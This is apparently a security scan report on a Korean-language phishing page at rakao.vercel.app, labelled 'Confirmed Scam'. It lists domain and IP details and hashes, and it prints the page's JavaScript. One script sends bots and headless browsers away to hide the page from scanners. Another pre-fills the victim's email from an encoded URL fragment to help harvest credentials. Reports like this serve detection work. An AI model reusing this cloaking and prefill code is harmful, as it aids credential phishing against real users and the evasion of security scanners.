phishing scam

finance banking

adult content

Korean

The domain name 'rakao.vercel.app' uses the application-focused generic top-level domain (.app), featuring subdomain 'rakao'. The registrable portion 'vercel' spans 6 characters with two vowels and four consonants. Tokenizing the label suggests two words: ver, cel. The median word length lands at 3 characters. No strong language cues emerged from the frequency lists.

botcheck

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

32eec6deea8891f5c033739137bd54f58d9aec46a83a2d8d293ae2b2dff036a1

d5aef07088febad8c2e3a1eeda3bb5e6b74a9e5f1e242784cbb02a397373f7eb

c44d72d35e7fbe7984e887baea54a9b4c63141f09ede7a296c48f7de6a428a1f

viewport

Protocol Labs, Inc.

CSC Corporate Domains, Inc.

ipfs.io

MarkMonitor Inc.

GSTATIC.COM

GOOGLEAPIS.COM

Tucows

Tucows Domains Inc

vercel.app

Vercel, Inc

Matheus Fernandez Vieira

Joe Haddad

VERCEL-05


(async function () {
    const userAgent = navigator.userAgent || "";
    const suspiciousUA = /bot|crawl|spider|slurp|headless|phantom/i.test(userAgent);
    const isHeadless = navigator.webdriver || false;

    // JS execution confirmation
    localStorage.setItem('js_enabled', 'true');

    // Honeypot trap (use your existing field instead)
    const honeypot = document.getElementById('botcheck');
    if (honeypot && honeypot.value) {
        window.location.href = "https://www.wikipedia.org";
        return;
    }

    // Check if localStorage was written (JS running)
    const jsEnabled = localStorage.getItem('js_enabled') === 'true';

    // Final bot detection logic (without interaction check)
    if (
        suspiciousUA ||
        isHeadless ||
        !jsEnabled
    ) {
        // Redirect bot
        window.location.href = "https://www.wikipedia.org";
    }
})();



// Function to get email from URL hash
function getEmailFromUrl() {
    const hash = window.location.hash.substring(1); // Remove the #
    if (!hash) return null;
    
    // Check if hash is base64 encoded
    if (isBase64(hash)) {
        try {
            return atob(hash); // Decode base64
        } catch (e) {
            return hash; // If decoding fails, assume it's plain email
        }
    }
    return hash;
}

// Function to check if a string is base64 encoded
function isBase64(str) {
    try {
        return btoa(atob(str)) === str;
    } catch (err) {
        return false;
    }
}

// Function to update URL with base64 encoded email
function updateUrlWithEncodedEmail(email) {
    if (!email) return;
    const encodedEmail = btoa(email);
    window.history.replaceState(null, null, `#${encodedEmail}`);
}

// Main function to process email
function processEmail() {
    // Get email from URL
    const email = getEmailFromUrl();
    
    if (email) {
        // Update username field
        document.getElementById('username').value = email;
        
        // Update URL with encoded email if it's not already encoded
        if (!isBase64(window.location.hash.substring(1))) {
            updateUrlWithEncodedEmail(email);
        }
    }
}

// Run when page loads
window.addEventListener('DOMContentLoaded', processEmail);


계정 인증

regular

⚠️ High Risk - http://rakao.vercel.app/

Requests	IP Address	Location	AS Autonomous System
5	216.198.79.195	United States	AS16509Amazon.com, Inc.
3	142.251.14.95Google · CDN	United States	AS15169Google LLC
3	209.94.90.1	United States	AS40680Protocol Labs
11	3	-	-

Security Scan Report: rakao.vercel.app

Summary

AI Security Verdict

Confirmed Scam

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History